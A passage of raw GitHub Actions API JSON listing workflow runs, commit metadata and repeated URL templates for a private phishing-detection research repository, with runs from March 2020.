,"git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":50404851,"node_id":"MDExOldvcmtmbG93UnVuNTA0MDQ4NTE=","head_branch":"feature_alexa","head_sha":"62d5f786668f2b4b0e41e8be1d8b83468918dbbe","run_number":87,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":502376568,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1MDIzNzY1Njg=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/50404851","pull_requests":[],"created_at":"2020-03-05T22:27:23Z","updated_at":"2020-03-05T22:32:14Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/502376568","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50404851/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"62d5f786668f2b4b0e41e8be1d8b83468918dbbe","tree_id":"e9f24e5abc7137f1c802ea02cbc63d15780e4553","message":"Merge branch 'master' into feature_alexa","timestamp":"2020-03-05T22:22:08Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":50402366,"node_id":"MDExOldvcmtmbG93UnVuNTA0MDIzNjY=","head_branch":"feature_alexa","head_sha":"52097e7277f933144aac569dbe871f11401b7556","run_number":86,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":502363857,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1MDIzNjM4NTc=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50402366","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/50402366","pull_requests":[],"created_at":"2020-03-05T22:19:59Z","updated_at":"2020-03-05T22:24:31Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50402366/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50402366/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/502363857","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50402366/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50402366/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/50402366/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"52097e7277f933144aac569dbe871f11401b7556","tree_id":"75de559d283c2799a4638969b9ba313b91e36b2d","message":"1","timestamp":"2020-03-05T22:19:46Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":48466499,"node_id":"MDExOldvcmtmbG93UnVuNDg0NjY0OTk=","head_branch":"requirement","head_sha":"43fa0622ec362b9cd64368da0a723b973fa3e200","run_number":72,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":494363927,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU0OTQzNjM5Mjc=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/48466499","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/48466499","pull_requests":[],"created_at":"2020-03-02T23:06:41Z","updated_at":"2020-03-02T23:11:00Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/48466499/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/48466499/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/494363927","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/48466499/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/48466499/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/48466499/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"43fa0622ec362b9cd64368da0a723b973fa3e200","tree_id":"2df0200ec4a8ff6281e09ea0c22da3ea6481697a","message":"added html5lib","timestamp":"2020-03-02T23:03:32Z","author":{"name":"Xin Zhou","email":"xzhou29@redas-lab2.hpcc.uh.edu"},"committer":{"name":"Xin Zhou","email":"xzhou29@redas-lab2.hpcc.uh.edu"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDA